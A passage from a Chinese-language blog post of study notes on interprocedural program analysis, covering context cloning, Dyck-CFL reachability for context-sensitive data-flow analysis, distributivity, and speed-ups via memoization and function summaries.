alt="image-20221010232001361" style="zoom: 50%;" /><p>总的来说，递归函数调用深度越深，那么分析越准确，但是复杂度指数上升。</p><h3 id="不同的上下文类型">不同的上下文类型</h3><p>以上的讨论都是基于调用位置的上下文，但是在具体分析的过程中，会设置不同的上下文定义，方便各种不同的分析。</p><ol><li><strong>基于函数名字</strong>而不是调用位置的上下文。不如调用位置精确，但能减少复制量。</li><li><strong>基于对象类型</strong>的类型的上下文。在面向对象语言中，对于<code>x.p()</code> 的调用，根据 x 的不同类型区分上下文。比如接口类型或者函数重载，就会出现 duck type.</li><li><strong>基于系统状态</strong>的上下文。根据分析需要，对系统的当前状态进行分类，当函数以不同状态调用时，对函数复制。</li></ol><h3 id="克隆的例子">克隆的例子</h3><p>数据流分析默认所有分支可达，但是如果实际上可能会出现互斥的情况。例如下面的代码，因为 <code>condition1</code> 和 <code>condition2</code> 互斥，所以只有如下几种调用情况 <code>x n  </code> 或者 <code>y m</code>，按照之前的做法，每个分支都会交汇，造成了允许 <code>x m</code> 这种不可能的情况。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">condition1 = <span class="keyword">not</span> condition2</span><br><span class="line"><span class="keyword">if</span> condition1:</span><br><span class="line">    x();</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    y();</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> condition2:</span><br><span class="line">    m();</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    n();</span><br></pre></td></tr></table></figure><p>但是，如果通过克隆的方法，不局限在克隆函数，自定义上下文为「<strong>第一个 if 语句的条件为 true 还是 false</strong>」，那么克隆第二个 if 语句，上面的式子可以写作：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">condition1 = <span class="keyword">not</span> condition2</span><br><span class="line"><span class="keyword">if</span> condition1:</span><br><span class="line">    x();</span><br><span class="line">    <span class="keyword">if</span> condition2:</span><br><span class="line">    m();</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    n();</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    y();</span><br><span class="line">    <span class="keyword">if</span> condition2:</span><br><span class="line">    m();</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    n();</span><br></pre></td></tr></table></figure><p>克隆之前之前，会分别跑完 <code>x()，y()</code>，然后在 <code>x(), y()</code> 的出口处，对全局变量进行交汇操作(用静态单赋值算法确定需要交汇哪些变量)，之后再执行第二个 if 控制流；</p><p>克隆之后，只会分别执行<code>x()</code> , <code> y()</code>，例如执行完 x() 之后，再执行 <code>m(),n()</code>，在出口处交汇第二个 if 执行的全局变量。最后再分别交汇第一个 if 的两个分支。</p><p>课件里说第二种情况会更加精确，笔者理解为，第二种情况在执行 m()、n()的时候，上下文会更加精确，具体来说是全局变量的值更加精确。但是多了一次第一个 if 结束的交汇操作，笔者就有点扯不清了。后续深入学习或许会从理论角度来填坑。</p><p>除了上面提到的是<strong>基于系统状态分类的语句级别的复制</strong>。之前举的递归函数的例子，或者循环的例子(类似递归，可以展开 k 层，上下文是上一层循环和下一层循环)都是 clone 方法的应用。</p><p>实际上，<strong>克隆的方法等效于 inline</strong>（内联：把被调函数的代码嵌入到调用函数中，对 参数进行改名替换）。</p><h2 id="精确的上下文敏感分析">精确的上下文敏感分析</h2><p>以上提到的分析，都是因为过程间调用（比如函数调用）会导致其他调用的地方意外地更新节点，提出了基于克隆的的方案。考虑到递归、多次循环等上下文非常复杂，只是局限在前 k 层分析。但是，精确的上下文敏感分析的目标就是，<strong>让每一次调用都和上下文匹配，也就是说，对于任意分析中考虑的路径，路径中的调用边和返回边全部匹配（称为可行路径）</strong>。</p><p>历史上提出过多种精确上下文敏感分析方法</p><ul><li>Functional</li><li>Dataflow Facts-based Summary</li><li>CFL-reachability</li></ul><p>近年来的研究逐渐集中在 Thomas Reps 提出的 CFLReachability 上，优点是：</p><ul><li>理解上比较直观，可以画图说明。</li><li>能够优化出高效算法</li><li>能覆盖任意的具备分配性的数据流分析（但不能覆盖所有已有方法）</li><li>基于该模型讨论清楚了若干可判定性问题。</li></ul><p>在解决具体问题之前，先了解 <code>Dyck-CFL</code>，其中 <code>CFL</code> 指的是 Context-free language，我暂时不是很熟悉编译原理，所以不深究。维基百科介绍如下：</p><blockquote><p>In <a href="https://en.wikipedia.org/wiki/Formal_language_theory">formal language theory</a>, a <strong>context-free language</strong> (<strong>CFL</strong>) is a <a href="https://en.wikipedia.org/wiki/Formal_language">language</a> generated by a <a href="https://en.wikipedia.org/wiki/Context-free_grammar">context-free grammar</a> (CFG).</p><p>Context-free languages have many applications in <a href="https://en.wikipedia.org/wiki/Programming_languages">programming languages</a>, in particular, most arithmetic expressions are generated by context-free grammars.</p></blockquote><p>而 <code>Dyck</code> 语言是基于括号匹配的语言，具体见 <a href="https://en.wikipedia.org/wiki/Dyck_language">wiki</a>。最关键的介绍是，用于判断嵌套的括号是否匹配。</p><blockquote><p>In the theory of <a href="https://en.wikipedia.org/wiki/Formal_languages">formal languages</a> of <a href="https://en.wikipedia.org/wiki/Computer_science">computer science</a>, <a href="https://en.wikipedia.org/wiki/Mathematics">mathematics</a>, and <a href="https://en.wikipedia.org/wiki/Linguistics">linguistics</a>, a <strong>Dyck word</strong> is a balanced <a href="https://en.wikipedia.org/wiki/String_(computer_science)#Formal_theory">string</a> of square brackets [ and ]. The set of Dyck words forms the <strong>Dyck language</strong>.</p><p>Dyck words and language are named after the mathematician <a href="https://en.wikipedia.org/wiki/Walther_von_Dyck">Walther von Dyck</a>. They have applications in the <a href="https://en.wikipedia.org/wiki/Parsing">parsing</a> of expressions that must have a correctly nested sequence of brackets, such as arithmetic or algebraic expressions.</p></blockquote><p>那么，在每一处过程间调用的入口，都根据上下文调用和返回，做括号的匹配，就会涉及到 <code>Dyck CFL</code> ，确定嵌套的括号匹配必须正确，<strong>让程序分析只跑括号正确匹配的路径（可行路径）</strong>。</p><img src="http://cdn.blog-blockchain.xyz/202210202128617.png" alt="image-20221020212816518" style="zoom:50%;" /><p>回顾数据流分析的分配性：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7335em;vertical-align:-0.0391em;"></span><span class="mord">∀</span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊓</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊓</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mclose">)</span></span></span></span></span></p><p>结合数据流分析的过程，可以容易得到如下的推论：</p><img src="http://cdn.blog-blockchain.xyz/202210202149717.png" alt="image-20221020214915642" style="zoom:50%;" /><p>这就导出了一个非常有意思的结论了，<strong>如果数据流分析满足分配性，我们可以把初始值 A 拆成多个不同的初始值 B C D 的交汇，那么不好处理的初始值 A，就可以转换成好处理的初始值 B C D，任意一个数据节点的值也可以由 B C D 对应的数据节点交汇得出</strong>。</p><p>一般地说，KILL-GEN 这种标准的数据流分析是满足分配性的。下图来自 <a href="https://karkare.github.io/cs738/lecturenotes/03DataFlowAnalysisHandout.pdf">https://karkare.github.io/cs738/lecturenotes/03DataFlowAnalysisHandout.pdf</a></p><img src="http://cdn.blog-blockchain.xyz/202210202209203.png" alt="image-20221020220952140" style="zoom:80%;" /><p>我们抽象出来函数</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">x</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">{</span><span class="mord mathnormal">a</span><span class="mclose delimcenter" style="top:0em;">}</span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∪</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">c</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">U</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">{</span><span class="mord mathnormal">a</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">b</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">c</span><span class="mclose delimcenter" style="top:0em;">}</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">⊆</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">U</span></span></span></span></span></p><p>那么全集 U 的子集为</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">{</span><span class="mord mathnormal">a</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">b</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">c</span><span class="mclose delimcenter" style="top:0em;">}</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">{</span><span class="mord mathnormal">a</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">b</span><span class="mclose delimcenter" style="top:0em;">}</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">{</span><span class="mord mathnormal">a</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">c</span><span class="mclose delimcenter" style="top:0em;">}</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">{</span><span class="mord mathnormal">b</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">c</span><span class="mclose delimcenter" style="top:0em;">}</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">{</span><span class="mord mathnormal">a</span><span class="mclose delimcenter" style="top:0em;">}</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">{</span><span class="mord mathnormal">b</span><span class="mclose delimcenter" style="top:0em;">}</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">{</span><span class="mord mathnormal">c</span><span class="mclose delimcenter" style="top:0em;">}</span></span></span></span></span></span></p><p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span></span></span></span> 的结果必然在子集之中，并且存在输入到输出的对应关系</p><img src="http://cdn.blog-blockchain.xyz/202210202222501.png" alt="image-20221020222227456" style="zoom:50%;" /><p>当 x 取集合 {a, b} 时，根据分配性，只需要交汇 f(a) 和 f(b) 即可，假如交汇是取集合并集的话，那么就把 a 对应的集合和 b 对应的集合取并。虽然以上只是进行了一步的状态转换，但是多次转换也是同样的原理。这样就<strong>将数据流分析转换成了一张图</strong>。</p><p>下面是分析未初始化变量的图，<code>READ</code> 表示从键盘读取然后写入变量。节点转换的连线表示输入的节点，就会影响输出的节点是否初始化，这样的映射关系也就是状态转化函数。</p><p>首先，x, g 从读取空值，也就是没有初始化。然后 x 被赋值，所以不再影响下一个个节点。接着进入调用 P，先标记左括号 1。注意，每个节点并不知道自己的数据是否是未初始化，只知道节点转化的规则。进入调用 P 后，标记左括号 2。在节点 n5，从键盘读取了数据写入 g，所以从变量 g 开始的边断了。节点 n6 处 a 或者 g 未初始化，那么 a 就会未初始化。</p><p><strong>未初始化的变量，就是从入口开始，通过有向图可以到达（条件包括路径可达和括号匹配）的任意节点处的变量，就有可能是未初始化的变量</strong>。这就将数据流分析转化成了图可达性问题。</p><p>注意到 n4 分支处交汇，如果直接交汇，忽视了分支，其实还是会比较可惜，日后会学习更加精细的做法。</p><p><img src="http://cdn.blog-blockchain.xyz/202210210006300.png" alt="image-20221021000635197"></p><p>下面是上下文无关语言钟正式一些的可达性定义：</p><img src="http://cdn.blog-blockchain.xyz/202210210106033.png" alt="image-20221021010651962" style="zoom:50%;" /><p>而可达性在 Datalog 中很容易推导。最直接的算法就是加边，递归的按照下面的三种方式加边，如果有直接相连的边，那么就是可达，虚线表示可达。</p><img src="http://cdn.blog-blockchain.xyz/202210212032498.png" alt="image-20221021203227434" style="zoom:50%;" /><h2 id="加快分析速度">加快分析速度</h2><p>过程间分析相较过程内分析，是非常吃性能的事情，动则分布在几十个文件中几万行的代码互相调用，所以编译器一般都会默认关闭过程间分析。加快分析速度也是较为重要的问题。比如克隆的部分如果特别大，那么程序分析的开销就是非常大。</p><p>加速技术主要有两类，动态规划也就是记忆化搜索，比如 A-&gt;B-&gt;C-&gt;D，可以在搜索时记忆 A-&gt;C 是成立的，然后只要判断 C-&gt;D 是否成立即可。实际上也还有其他的形式。</p><p>另外一种就是函数摘要，函数调用往往存在嵌套的调用，A() 在内部调用 B()，B() 在内部调用 C() D()，如果每一次都遍历到最底层的函数，那么将会耗费大量的时间。因此可以合并函数内部的函数，特别是库函数重用很多。而且如果源代码改变，摘要不需要全部改动，只要改变涉及到的那一部分的函数摘要即可。</p><img src="http://cdn.blog-blockchain.xyz/202210212039739.png" alt="image-20221021203918618" style="zoom: 50%;" /><h3 id="基于动态规划">基于动态规划</h3><p>对于某些函数，可以记忆 Entry 抽象状态输入和 Exit 抽象输出的关系，然后下一次经过这个函数时，如果答案已知，就不必重新跑一遍了。但是也很明显，如果函数中的全局变量改变，那么结果就可能不太精确，这也体现了函数式编程在程序分析的优越性。更进一步，因为抽象状态如果分的比较细，那么就会更加精确，然而记忆输入输出映射的表将会非常大，读写开销会很大。而抽象状态分的比较粗，那么就会不精确。考虑到递归函数，那么递归过程中输入的值可能总是不一样。</p><img src="https://cdn.blog-blockchain.xyz/202210212110639.png" alt="image-20221021211011425" style="zoom: 33%;" /><p>例如上图就说明了粗粒度和细粒度两种方式，而且如果满足分配性的话，将会很有帮助。</p><p>再深入一些，假如采用加边的方式会出现不必要的分析，比如 C–&gt;F 是不必要的，因为一般只要入口处到任意一个可达节点即可。但是 C 是不可达的。于是需要做一些改进，<strong>避免不需要的内部可达性计算</strong>。</p><img src="http://cdn.blog-blockchain.xyz/202210240014202.png" alt="1" style="zoom: 80%;" /><p>比较直观的想法如下，具体算法不细究：</p><ol><li>尽量只从 entry 节点出发。</li><li>只有可达的内部节点有多条进来的路径，才复用。</li></ol><h3 id="基于函数摘要">基于函数摘要</h3><p>首先明白为什么要采用函数摘要，它解决了什么问题。首先，根据分析的目标，函数内部的某些操作实际上是「相互抵消」的，如果能够对函数的性质进行抽象，提取摘要，那么就不用每一次都跑这个函数，减少状态转换的步骤。其次，库函数是非常多的，而且库函数功能完全是确定的，没有必要分析库函数内部代码，只需要库函数的摘要信息即可。所以如果节省下来的冗余计算大于摘要花费，则加速 了程序分析。基本思想是：</p><ol><li>将一个过程摘要成一个转换函数。</li><li>库函数可以提前做成摘要，在分析用户代码的时 候直接使用摘要</li></ol><p>具体到之前基于图的数据流分析，天然的契合了函数摘要的思想。因为图的可达性清晰的表示了每个函数的入口和出口的关系。</p><img src="http://cdn.blog-blockchain.xyz/202210231253735.png" alt="image-20221023125337653" style="zoom: 50%;" /><p>但是，由于每个变量都要从入口跑到出口，如果变量很多，那么边将会很复杂。考虑到效率因素，还需要进一步优化。</p><hr><p>为了进一步优化，我们不生成那么庞大的图，而是沿控制流图合并转换函数，采用函数嵌套和合，用一个状态转换函数表达函数。</p><img src="http://cdn.blog-blockchain.xyz/202210231713173.png" alt="image-20221023171319085" style="zoom:50%;" /><p>例如上图可以表示成 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">s</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∘</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊓</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></p><p>注意嵌套表达式的写法，为了避免嵌套，用右结合表示嵌套和<em>合并</em>：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:3em;vertical-align:-1.25em;"></span><span class="mord"><span class="mtable"><span class="col-align-r"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.75em;"><span style="top:-3.75em;"><span class="pstrut" style="height:2.84em;"></span><span class="mord"></span></span><span style="top:-2.25em;"><span class="pstrut" style="height:2.84em;"></span><span class="mord"></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.25em;"><span></span></span></span></span></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.75em;"><span style="top:-3.91em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∘</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊓</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊓</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="msupsub"><span 